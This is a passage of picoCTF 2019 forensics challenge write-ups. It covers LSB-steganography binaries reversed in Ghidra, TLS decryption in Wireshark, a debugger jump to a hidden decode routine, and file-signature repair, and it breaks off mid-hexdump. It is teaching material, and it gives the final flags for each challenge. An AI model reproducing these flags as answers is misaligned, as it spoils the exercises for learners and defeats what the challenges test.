10. Run [solve.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_2/solve.py) to get `Flag: t1m3f1i3500000000000098a9a51`. The [solve.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/investigation_encoded_2/solve.py) script is the exact same as in `investigation_encoded_1`, except the `decoded_dict` and `flag_encoded` were replaced.

### Flag

`t1m3f1i3500000000000098a9a51`


# Investigative Reversing 3

## Problem

> We have recovered a binary and an image See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-3\_1\_8670aba71322d7b19d278027f10f2935 on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%203/mystery/README.md)
* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%203/encoded.bmp)

## Solution

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the right.

   ```cpp
    undefined8 main(void)

    {
    size_t sVar1;
    long in_FS_OFFSET;
    char local_7e;
    char local_7d;
    int local_7c;
    int local_78;
    uint local_74;
    uint local_70;
    undefined4 local_6c;
    int local_68;
    int local_64;
    FILE *local_60;
    FILE *local_58;
    FILE *local_50;
    char local_48 [56];
    long local_10;

    local_10 = *(long *)(in_FS_OFFSET + 0x28);
    local_6c = 0;
    local_60 = fopen("flag.txt","r");
    local_58 = fopen("original.bmp","r");
    local_50 = fopen("encoded.bmp","a");
    if (local_60 == (FILE *)0x0) {
        puts("No flag found, please make sure this is run on the server");
    }
    if (local_58 == (FILE *)0x0) {
        puts("No output found, please run this on the server");
    }
    sVar1 = fread(&local_7e,1,1,local_58);
    local_7c = (int)sVar1;
    local_68 = 0x2d3;
    local_78 = 0;
    while (local_78 < local_68) {
        fputc((int)local_7e,local_50);
        sVar1 = fread(&local_7e,1,1,local_58);
        local_7c = (int)sVar1;
        local_78 = local_78 + 1;
    }
    sVar1 = fread(local_48,0x32,1,local_60);
    local_64 = (int)sVar1;
    if (local_64 < 1) {
        puts("Invalid Flag");
                        /* WARNING: Subroutine does not return */
        exit(0);
    }
    local_74 = 0;
    while ((int)local_74 < 100) {
        if ((local_74 & 1) == 0) {
        local_70 = 0;
        while ((int)local_70 < 8) {
            local_7d = codedChar((ulong)local_70,(ulong)(uint)(int)local_48[(int)local_74 / 2],
                                (ulong)(uint)(int)local_7e,
                                (ulong)(uint)(int)local_48[(int)local_74 / 2]);
            fputc((int)local_7d,local_50);
            fread(&local_7e,1,1,local_58);
            local_70 = local_70 + 1;
        }
        }
        else {
        fputc((int)local_7e,local_50);
        fread(&local_7e,1,1,local_58);
        }
        local_74 = local_74 + 1;
    }
    while (local_7c == 1) {
        fputc((int)local_7e,local_50);
        sVar1 = fread(&local_7e,1,1,local_58);
        local_7c = (int)sVar1;
    }
    fclose(local_50);
    fclose(local_58);
    fclose(local_60);
    if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
    }
                        /* WARNING: Subroutine does not return */
    __stack_chk_fail();
    }
   ```
2. The flag is encoded using LSB encoding, similarly to the previous challenge. However, this time the encoding starts from offset `0x2d3` and every 9 bytes the image is left as-is. In essence, 8 bits of payload are encoded in the LSB of 8 bytes of the image, and then one byte of the original image is placed as-is.
3. The encoding script accomplishes the above by looping the following 100 times:
   * If `(local_74 & 1) == 0` (if the last bit of the current iteration index is 0; this effectively switches back and forth between the if and else clauses for each iteration):
     * Loop 8 times (write 8 bites (1 byte) of the flag to 9 bytes of the image):
       * Write a bit of the flag to the current byte in the image. The divided by 2 in `local_48[(int)local_74 / 2]` is necessary because every other iteration of the outer 100 times loop leaves a bit of the regular image alone. Since, the looping variable is twice the required value, it is divided by&#x20;
   * Else (every other loop):
     * Write a bit of the original image
4. The above is reflected in the reversal [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%203/script.py).
5. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%203/script.py) and get the flag.

### Flag

`picoCTF{4n0th3r_L5b_pr0bl3m_0000000000000dbd98691}`


# like1000

## Problem

> This .tar file got tarred alot. Also available at /problems/like1000\_0\_369bbdba2af17750ddf10cc415672f1c.

* [TAR File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/like1000/1000.tar)

## Solution

1. Extracting the `1000.tar` file reveals `999.tar` and `filler.txt`. Extracting the `999.tar` file reveals `998.tar` and `filler.txt`.
2. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/like1000/script.py) to extract the files in a loop. This script uses the `tarfile` python module as described in [this article](https://www.tutorialspoint.com/How-are-files-extracted-from-a-tar-file-using-Python) and removes the `filler.txt` file after each extraction.
3. We obtain the `flag.png` nested in `1000.tar` file which has the flag: ![Flag image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F125251d0c102b0036e624038fa26d9fd4a0b5b87.png?generation=1619558782345848\&alt=media)

### Flag

`picoCTF{l0t5_0f_TAR5}`


# Investigative Reversing 4

## Problem

> We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere. Its also found in /problems/investigative-reversing-4\_6\_f5c1435d5f45ad042614888d32091beb on the shell server.

* [Binary](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/mystery/README.md)
* [Image 1](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/Item01_cp.bmp)
* [Image 2](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/Item02_cp.bmp)
* [Image 3](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/Item03_cp.bmp)
* [Image 4](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/Item04_cp.bmp)
* [Image 5](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/Item05_cp.bmp)

## Solution

1. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the right.

   \`\`\`c++ undefined8 main(void)

   { size\_t sVar1; undefined4 local\_4c; undefined local\_48 \[52]; int local\_14; FILE \*local\_10;

   flag = local\_48; local\_4c = 0; flag\_index = \&local\_4c; local\_10 = fopen("flag.txt","r"); if (local\_10 == (FILE *)0x0) { puts("No flag found, please make sure this is run on the server"); } sVar1 = fread(flag,0x32,1,local\_10); local\_14 = (int)sVar1; if (local\_14 < 1) { puts("Invalid Flag"); /* WARNING: Subroutine does not return \*/ exit(0); } fclose(local\_10); encodeAll(); return 0; }

````
/* WARNING: Could not reconcile some variable overlaps */

void encodeAll(void)

{
ulong local_48;
undefined8 local_40;
undefined4 local_38;
ulong local_28;
undefined8 local_20;
undefined4 local_18;
char local_9;

local_28 = 0x635f31306d657449;
local_20 = 0x706d622e70;
local_18 = 0;
local_48 = 0x622e31306d657449;
local_40 = 0x706d;
local_38 = 0;
local_9 = '5';
while ('0' < local_9) {
    local_48._0_6_ = CONCAT15(local_9,(undefined5)local_48);
    local_48 = local_48 & 0xffff000000000000 | (ulong)(uint6)local_48;
    local_28._0_6_ = CONCAT15(local_9,(undefined5)local_28);
    local_28 = local_28 & 0xffff000000000000 | (ulong)(uint6)local_28;
    encodeDataInFile(&local_48,&local_28,&local_28);
    local_9 = local_9 + -1;
}
return;
}


void encodeDataInFile(char *param_1,char *param_2)

{
size_t sVar1;
char local_2e;
char local_2d;
int local_2c;
FILE *local_28;
FILE *local_20;
uint local_18;
int local_14;
int local_10;
int local_c;

local_20 = fopen(param_1,"r");
local_28 = fopen(param_2,"a");
if (local_20 != (FILE *)0x0) {
    sVar1 = fread(&local_2e,1,1,local_20);
    local_c = (int)sVar1;
    local_2c = 0x7e3;
    local_10 = 0;
    while (local_10 < local_2c) {
    fputc((int)local_2e,local_28);
    sVar1 = fread(&local_2e,1,1,local_20);
    local_c = (int)sVar1;
    local_10 = local_10 + 1;
    }
    local_14 = 0;
    while (local_14 < 0x32) {
    if (local_14 % 5 == 0) {
        local_18 = 0;
        while ((int)local_18 < 8) {
        local_2d = codedChar((ulong)local_18,(ulong)(uint)(int)*(char *)(*flag_index + flag),
                            (ulong)(uint)(int)local_2e,
                            (ulong)(uint)(int)*(char *)(*flag_index + flag));
        fputc((int)local_2d,local_28);
        fread(&local_2e,1,1,local_20);
        local_18 = local_18 + 1;
        }
        *flag_index = *flag_index + 1;
    }
    else {
        fputc((int)local_2e,local_28);
        fread(&local_2e,1,1,local_20);
    }
    local_14 = local_14 + 1;
    }
    while (local_c == 1) {
    fputc((int)local_2e,local_28);
    sVar1 = fread(&local_2e,1,1,local_20);
    local_c = (int)sVar1;
    }
    fclose(local_28);
    fclose(local_20);
    return;
}
puts("No output found, please run this on the server");
                    /* WARNING: Subroutine does not return */
exit(0);
}


ulong codedChar(int param_1,byte param_2,byte param_3)

{
byte local_20;

local_20 = param_2;
if (param_1 != 0) {
    local_20 = (byte)((int)(char)param_2 >> ((byte)param_1 & 0x1f));
}
return (ulong)(param_3 & 0xfe | local_20 & 1);
}
```
````

1. This script spreads the flag amongst the five ".bmp" image files provided in the challenge. For each image the program:
   1. Jumps to offset 2019 bytes and encodes a byte of the flag using LSB in 8 bytes of the original image file.
   2. Skips 4 bytes by copying 4 bytes from the original image file
2. However, the above steps are made slightly more complicated in the actual encoding program. It performs a loop 50 times. If the interval tracking variable is divisible by 5, then it will loop through and write 8 bits of the flag. If the interval tracking variable is not divisible by 5, then the program writes writes a value from the original image. This effectively does the above steps.
3. Run the decoding [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/Investigative%20Reversing%204/script.py) to get the flag.

### Flag

`picoCTF{N1c3_R3ver51ng_5k1115_000000000002eea28cd}`


# WebNet0

## Problem

> We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet0\_0\_363c0e92cf19b68e5b5c14efb37ed786.

* [Packet Capture](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WebNet0/capture.pcap)
* [Key](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WebNet0/picopico.key)

## Solution

1. Open in Wireshark
2. Go to Edit > Preferences > Protocols > TLS > RSA keys list
3. Add the key to the list (don't worry about ip and other columns)
4. Flag is in decrypted TLS section of the now visible HTTP packets

   ```
   HTTP/1.1 200 OK
   Date: Fri, 23 Aug 2019 15:56:36 GMT
   Server: Apache/2.4.29 (Ubuntu)
   Last-Modified: Mon, 12 Aug 2019 16:50:05 GMT
   ETag: "5ff-58fee50dc3fb0-gzip"
   Accept-Ranges: bytes
   Vary: Accept-Encoding
   Content-Encoding: gzip
   *Pico-Flag: picoCTF{nongshim.shrimp.crackers}*
   Content-Length: 821
   Keep-Alive: timeout=5, max=100
   Connection: Keep-Alive
   Content-Type: text/html
   ```

### Flag

`picoCTF{nongshim.shrimp.crackers}`


# B1g\_Mac

## Problem

> Here's a zip file. You can also find the file in /problems/b1g-mac\_0\_ac4b0dbedcd3b0f0097a5f056e04f97a.

* [ZIP File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/B1g_Mac/b1g_mac.zip)

## Solution

1. Unzip `b1g_mac.zip` with `unzip b1g_mac.zip` to get a folder called `test` (with 18 images inside) and a `main.exe` executable file.
2. Running the `main.exe` file produces `No flag found, please make sure this is run on the server`, which is an interesting error message because this file cannot be run on the shell server since it is a Windows executable and the shell server runs Linux.
3. Creating a fake flag file with `echo picoCTF{fake_flag} > flag.txt` and rerunning the program results in the following:

   ```
    Work is done!
    Wait for 5 seconds to exit.
   ```
4. Since something happened lets see if the files are any different by re-extracting the test directory from the zip file and comparing it to the contents of the current test directory: `diff -r test/ test_original/`. Nothing appears to have changed. Lets reset the `test` directory and delete the "new" folder in case it actually changed something.
5. Reverse the binary file using [Ghidra](https://ghidra-sre.org/) ([cheat sheet](https://ghidra-sre.org/CheatSheet.html)). Open it and in the symbol tree click on main. The decompiled main function will show on the left.

   ```cpp
    int __cdecl _main(int _Argc,char **_Argv,char **_Env)

    {
    undefined4 local_60;
    undefined local_5a [50];
    undefined4 local_28;
    undefined4 local_24;
    undefined4 local_20;
    size_t local_1c;
    FILE *local_18;
    int local_14;

    ___main();
    _isOver = 0;
    local_28 = 0x65742f2e;
    local_24 = 0x7473;
    local_20 = 0;
    _folderName = &local_28;
    local_14 = 0;
    _pLevel = 0;
    local_18 = _fopen("flag.txt","r");
    if (local_18 == (FILE *)0x0) {
        _puts("No flag found, please make sure this is run on the server");
    }
    local_1c = _fread(local_5a,1,0x12,local_18);
    if ((int)local_1c < 1) {
                        /* WARNING: Subroutine does not return */
        _exit(0);
    }
    _flag = local_5a;
    _flag_size = 0x12;
    local_60 = 0;
    _flag_index = &local_60;
    _puts("Work is done!");
    _listdir(local_14,_folderName);
    _puts("Wait for 5 seconds to exit.");
    _sleep(5);
    return 2;
    }
   ```
6. The program opens the flag file, reads 18 characters, initializes some globals and then calls `_listdir` (after printing `"Work is done!"` which is strange because nothing much is done before that message is printed). `_listdir` function:

   ```cpp
    void __cdecl _listdir(int param_1,undefined4 param_2)

    {
    int iVar1;
    BOOL BVar2;
    CHAR local_958 [2048];
    _WIN32_FIND_DATAA local_158;
    HANDLE local_18;
    bool local_11;
    int local_10;

    local_18 = (HANDLE)0x0;
    _sprintf(local_958,"%s\\*.*",param_2);
    local_18 = FindFirstFileA(local_958,(LPWIN32_FIND_DATAA)&local_158);
    if (local_18 == (HANDLE)0xffffffff) {
        _printf("Path not found: [%s]\n",param_2);
    }
    else {
        local_10 = 1;
        local_11 = true;
        while (local_11 != false) {
        iVar1 = _strcmp(local_158.cFileName,".");
        if ((iVar1 != 0) && (iVar1 = _strcmp(local_158.cFileName,".."), iVar1 != 0)) {
            _sprintf(local_958,"%s\\%s",param_2,local_158.cFileName);
            if ((local_158.dwFileAttributes & 0x10) == 0) {
            if (local_10 == 1) {
                if (param_1 == 0) {
                _hideInFile(local_958);
                }
                else {
                if (param_1 == 1) {
                    _decodeBytes(local_958);
                }
                }
            }
            local_10 = 1 - local_10;
            }
            else {
            _printf("Folder: %s\n",local_958);
            _listdir(param_1,local_958);
            }
        }
        if (_isOver != '\0') break;
        BVar2 = FindNextFileA(local_18,(LPWIN32_FIND_DATAA)&local_158);
        local_11 = BVar2 != 0;
        }
        FindClose(local_18);
    }
    return;
    }
   ```
7. `_listdir` is a recursive function which iterates over files in the folder (it was called with the folder `"./test"` by the main function) and, if `param_1` if 0, it calls \_hideInFile for every other file (only the `'Copy'` files). If `param_1` is set to 1, `_decodeBytes` is called on the file instead.
8. Right click `_listdir` and go to "References > Find references to \_listdir". One of the three options is an uncalled function labeled `_decode`:

   ```cpp
    void UndefinedFunction_00401afe(void)

    {
    undefined4 uStack40;
    undefined4 uStack36;
    undefined4 uStack32;
    undefined4 uStack28;
    undefined4 uStack24;
    undefined4 uStack20;
    undefined4 uStack16;

    uStack36 = 0x616c6f68;
    uStack32 = 0x202020;
    uStack28 = 0;
    uStack24 = 0;
    uStack20 = 0;
    _buff_size = 0x12;
    uStack40 = 0;
    uStack16 = 1;
    _buff = &uStack36;
    _buff_index = &uStack40;
    _listdir(1,_folderName);
    _printf("value of DECODE %s \n",_buff);
    _puts("Wait for 5 seconds to exit.");
    _sleep(5);
                        /* WARNING: Subroutine does not return */
    _exit(0);
    }
   ```
9. The `_decode` function uses the same `_folderName` global variable as the main function. We can call `_decode_` using the debugger after `_folderName` gets initialized in the main function.
10. Get location in main right after initializing `_folderName`: `0x00401bda`

    ```
    00401bc1 c7 44 24        MOV        dword ptr [ESP + local_20],0x0
                50 00 00 
                00 00
    00401bc9 8d 44 24 48     LEA        EAX=>local_28,[ESP + 0x48]
    00401bcd a3 34 54        MOV        [_folderName],EAX                                = ??
                40 00
    00401bd2 c7 44 24        MOV        dword ptr [ESP + local_14],0x0
                5c 00 00 
                00 00
    00401bda c7 05 48        MOV        dword ptr [_pLevel],0x31                         = ??
                54 40 00 
                31 00 00 00
    ```
11. Get address of `_decode`: `0x00401afe`

    ```
                                 LAB_00401afc                                    XREF[1]:     004019bd(j)  
        00401afc c9              LEAVE
        00401afd c3              RET
                             _decode
        00401afe 55              PUSH       EBP
        00401aff 89 e5           MOV        EBP,ESP
        00401b01 83 ec 38        SUB        ESP,0x38
        00401b04 c7 45 e0        MOV        dword ptr [EBP + -0x20],0x616c6f68
                 68 6f 6c 61
        00401b0b c7 45 e4        MOV        dword ptr [EBP + -0x1c],0x202020
                 20 20 20 00
    ```
12. Debugger and Get Flag 1. Linux (`winedbg` - did not work): Open in GDB with `winedbg main.exe` then set a breakpoint at `0x00401bda` with `break *0x00401bda` (the `*` means "address" instead of function) then `next` then `set $eip = 0x00401afe` then `next` and get the flag. 2. Windows (`x32dbg` - Successful): It is important that the file times in the zip are not changed. On Windows, use `7-zip` to open and extract these files without modifying their file times. The built-in to Windows extraction option does not work. Run `x96dbg` from [x64dbg](https://x64dbg.com/) and select `x32dbg`. Then open `main.exe` in `x32dbg` and run `SetBPX 00401bda` to set a breakpoint at `0x00401bda`. Next, click through "run" until this breakpoint is reached. When the breakpoint is hit, run `EIP=00401afe` to change the `EIP` to `_decode`. "Run" one more time and get the flag.

    ```
    value of DECODE picoCTF{M4cTim35!}
    Wait for 5 seconds to exit.
    ```

    ![Debugger and program output with flag](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2F7a431f7dfa17a03d58fdef26d76815ec8dc03419.png?generation=1619558785137446\&alt=media)
13. `_hideInFile` function:

    ```cpp
    void __cdecl _hideInFile(LPCSTR param_1)

    {
    BOOL BVar1;
    FILETIME local_2c;
    FILETIME local_24;
    FILETIME local_1c;
    char local_12;
    char local_11;
    HANDLE local_10;

    local_10 = CreateFileA(param_1,0x100,0,(LPSECURITY_ATTRIBUTES)0x0,3,0,(HANDLE)0x0);
    _DoNotUpdateLastAccessTime(local_10);
    if (local_10 == (HANDLE)0xffffffff) {
        _printf("Error:INVALID_HANDLED_VALUE");
    }
    else {
        BVar1 = GetFileTime(local_10,(LPFILETIME)&local_1c,(LPFILETIME)&local_24,(LPFILETIME)&local_2c);
        if (BVar1 == 0) {
        _printf("Error: C-GFT-01");
        }
        else {
        local_11 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        local_12 = *(char *)(*_flag_index + _flag);
        *_flag_index = *_flag_index + 1;
        _encodeBytes(local_11,local_12,(uint *)&local_2c);
        if (0 < _pLevel) {
            local_11 = *(char *)(*_flag_index + _flag);
            *_flag_index = *_flag_index + 1;
            local_12 = *(char *)(*_flag_index + _flag);
            *_flag_index = *_flag_index + 1;
            _encodeBytes(local_11,local_12,(uint *)&local_1c);
        }
        if (_pLevel == 2) {
            local_11 = *(char *)(*_flag_index + _flag);
            *_flag_index = *_flag_index + 1;
            local_12 = *(char *)(*_flag_index + _flag);
            *_flag_index = *_flag_index + 1;
            _encodeBytes(local_11,local_12,(uint *)&local_24);
        }
        BVar1 = SetFileTime(local_10,&local_1c,&local_24,&local_2c);
        if (BVar1 == 0) {
            _printf("Error: C-SFT-01");
        }
        else {
            if (_flag_size <= *_flag_index) {
            _isOver = 1;
            }
            CloseHandle(local_10);
        }
        }
    }
    return;
    }
    ```

    We can see that the function is using `GetFileTime` and `SetFileTime`, and this also explains the challenge name ([MAC](https://en.wikipedia.org/wiki/MAC_times) stands for "Modification, Access, Creation"). The Windows user interface shows us the date and H:M:S, but NTFS file systems have a resolution of 100 Nanoseconds for these fields (The `FILETIME` structure represents the time in 100-nanosecond intervals since January 1, 1601). More info about how the flag was encoded and how to write a script to decode it: [Dvd848](https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/B1g_Mac.md) ([Archive](https://web.archive.org/web/20200604043315/https://github.com/Dvd848/CTFs/blob/master/2019_picoCTF/B1g_Mac.md)) and [AMACB](https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/B1g_Mac) ([Archive](https://web.archive.org/web/20200604043334/https://github.com/AMACB/picoCTF-2019-writeups/tree/master/problems/B1g_Mac))

### Flag

`picoCTF{M4cTim35!}`


# m00nwalk 2

## Problem

> Revisit the last transmission. We think this transmission contains a hidden message. There are also some clues clue 1, clue 2, clue 3. You can also find the files in /problems/m00nwalk2\_0\_c513cbf9ae6c76876372b8e29826e77b.

* [Clue 1](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/m00nwalk2/clue1.wav)
* [Clue 2](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/m00nwalk2/clue2.wav)
* [Clue 3](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/m00nwalk2/clue3.wav)

## Solution

1. Decode the 3 clues using the same method from the first `m00nwalk` challenge except using the Auto  mode instead of "Scottie 1". "Martin 1", "Scottie 2", and "Martin 2" are the necessary modes for each clue respectively.
2. Three clues:

   ![Clue 1 image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fed5dfef1e7bb6fca019ae44336a7b46c603f70a9.png?generation=1619558788035198\&alt=media) ![Clue 2 image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Ffb12d99f91936771b4fb5301a54f3fc0c77a9957.png?generation=1619558787803478\&alt=media) ![Clue 3 image](https://2203535566-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MZKCwD-RpAyLnCo8v8r%2Fsync%2Fcaf671e01fdda8803086d47a69203155fe6cd161.png?generation=1619558787631566\&alt=media)
3. Searching for "Alan Eliasen the Future Boy" brings us to [this page](https://futureboy.us/stegano/), which talks about Steganography Tools.
4. Either the [decode page of the above site](https://futureboy.us/stegano/decinput.html) or `steghide` can be used to decode the original message and get the flag using the password from the first clue: `steghide extract -sf message.wav -p hidden_stegosaurus` then `cat steganopayload12154.txt`

### Flag

`picoCTF{the_answer_lies_hidden_in_plain_sight}`


# WebNet1

## Problem

> We found this packet capture and key. Recover the flag. You can also find the file in /problems/webnet1\_0\_d63b267c607b8fedbae100068e010422.

* [Packet Capture](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WebNet1/capture.pcap)
* [Key](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WebNet1/picopico.key)

## Solution

1. Open in Wireshark
2. Go to Edit > Preferences > Protocols > TLS > RSA keys list
3. Add the key to the list (don't worry about ip and other columns)
4. Flag is in JPEG JFIF packet Reassembled SSL section

```
TTP/1.1 200 OK
Date: Fri, 23 Aug 2019 16:27:04 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Fri, 23 Aug 2019 16:26:33 GMT
ETag: "112fb-590cb44f2cbe6"
Accept-Ranges: bytes
Content-Length: 70395
Pico-Flag: picoCTF{this.is.not.your.flag.anymore}
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: image/jpeg

ÿØÿàJFIFÿáExifMM*JR(;ZpicoCTF{honey.roasted.peanuts}ÿâICC_PROFILElcmsmntrRGB XYZ Ü)9acspAPPLöÖÓ-lcms
```

### Flag

`picoCTF{honey.roasted.peanuts}`


# WhitePages

## Problem

> I stopped using YellowPages and moved onto WhitePages... but the page they gave me is all blank!

* [TXT File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WhitePages/whitepages.txt)

## Solution

1. If we inspect the file using a HEX editor, we can see that there are two types of whitespaces:

   ```bash
    $ xxd whitepages.txt | head
    00000000: e280 83e2 8083 e280 83e2 8083 20e2 8083  ............ ...
    00000010: 20e2 8083 e280 83e2 8083 e280 83e2 8083   ...............
    00000020: 20e2 8083 e280 8320 e280 83e2 8083 e280   ...... ........
    00000030: 83e2 8083 20e2 8083 e280 8320 e280 8320  .... ...... ... 
    00000040: 2020 e280 83e2 8083 e280 83e2 8083 e280    ..............
    00000050: 8320 20e2 8083 20e2 8083 e280 8320 e280  .  ... ...... ..
    00000060: 8320 20e2 8083 e280 83e2 8083 2020 e280  .  .........  ..
    00000070: 8320 20e2 8083 2020 2020 e280 8320 e280  .  ...    ... ..
    00000080: 83e2 8083 e280 83e2 8083 2020 e280 8320  ..........  ... 
    00000090: e280 8320 e280 8320 e280 83e2 8083 e280  ... ... ........
   ```
2. We have the standard space (`0x20`), and the Unicode EM SPACE (`0xE2 0x80 0x83`). Since we have only two options, let's try to treat them as binary.
3. Run the [script.py](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/WhitePages/script.py) (which is commented) and get the flag.

### Flag

`picoCTF{not_all_spaces_are_created_equal_f71be4d2457dc2d068e8b1e7a51ed39a}`


# So Meta

## Problem

> Find the flag in this picture. You can also find the file in /problems/so-meta\_3\_6dc950904c3ee41f324ae8d9f142f2b8.

* [Image](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/So%20Meta/pico_img.png)

## Solution

1. The flag is hidden in the EXIF data of the image. Use `exiftool` and `grep`:

   ```bash
    $ exiftool pico_img.png | grep Artist
    Artist                          : picoCTF{s0_m3ta_43f253bb}
   ```
2. [Katana](https://github.com/JohnHammond/katana) can solve this challenge:

   ```bash
    Target completed in 0.21 seconds after 1847 unit cases
    grep(/data/targets/pico_img.png) ➜ 
    picoCTF{s0_m3ta_43f253bb} - (copied)
   ```

### Flag

`picoCTF{s0_m3ta_43f253bb}`


# c0rrupt

## Problem

> We found this file. Recover the flag. You can also find the file in /problems/c0rrupt\_0\_1fcad1344c25a122a00721e4af86de13.

* [The File](https://github.com/HHousen/PicoCTF-2019/tree/24b0981c72638c12f9a8572f81e1abbcf8de306d/Forensics/c0rrupt/mystery/README.md)

## Solution

1. Checking the `file mystery` indicates nothing. However, viewing the `head` of the mystery file shows it looks like a PNG image:

   ```
    $ xxd -g 1 mystery | head
    00000000: 89 65 4e 34 0d 0a b0 aa 00 00 00 0d 43 22 44 52  .eN4........C"DR
    00000010: 00 00 06 6a 00 00 04 47 08 02 00 00 00 7c 8b ab  ...j...G.....|..
    00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00  x....sRGB.......
    00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00  ..gAMA......a...
    00000040: 00 09 70 48 59 73 aa 00 16 25 00 00 16 25 01 49  ..pHYs...%...%.I
    00000050: 52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  R$......DETx^..?
    00000060: 8e 64 cd 71 bd 2d 8b 20 20 80 90 41 83 02 08 d0  .d.q.-.  ..A....
    00000070: f9 ed 40 a0 f3 6e 40 7b 90 23 8f 1e d7 20 8b 3e  ..@..n@{.#... .>
    00000080: b7 c1 0d 70 03 74 b5 03 ae 41 6b f8 be a8 fb dc  ...p.t...Ak.....
    00000090: 3e 7d 2a 22 33 6f de 5b 55 dd 3d 3d f9 20 91 88  >}*"3o.[U.==. ..
   ```
2. The [PNG Specification](https://www.w3.org/TR/2003/REC-PNG-20031110/) tells that the [PNG signature](https://www.w3.org/TR/2003/REC-PNG-20031110/#5PNG-file-signature) (first eight bytes of a PNG datastream) must be `137 80 78 71 13 10 26 10` (decimal) or `89 50 4E 47 0D 0A 1A 0A` (hex).
3. So lets replace the signature using [a hex editor](https://hexed.it/):

   ```
    $ xxd -g 1 mystery.png | head
    00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 43 22 44 52  .PNG........C"DR
    00000010: 00 00 06 6a 00 00 04 47 08 02 00 00 00 7c 8b ab  ...j...G.....|..
    00000020: 78 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00  x....sRGB.......
    00000030: 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00  ..gAMA......a...
    00000040: 00 09 70 48 59 73 aa 00 16 25 00 00 16 25 01 49  ..pHYs...%...%.I
    00000050: 52 24 f0 aa aa ff a5 ab 44 45 54 78 5e ec bd 3f  R$......DETx^..?
    00000060: 8e 64 cd 71 bd 2d 8b 20 20 80 90 41 83 02 08 d0  .d.q.-.  ..A....
    00000070: f9 ed 40 a0 f3 6e 40 7b 90 23 8f 1e d7 20 8b 3e  ..@..n@{.#... .>
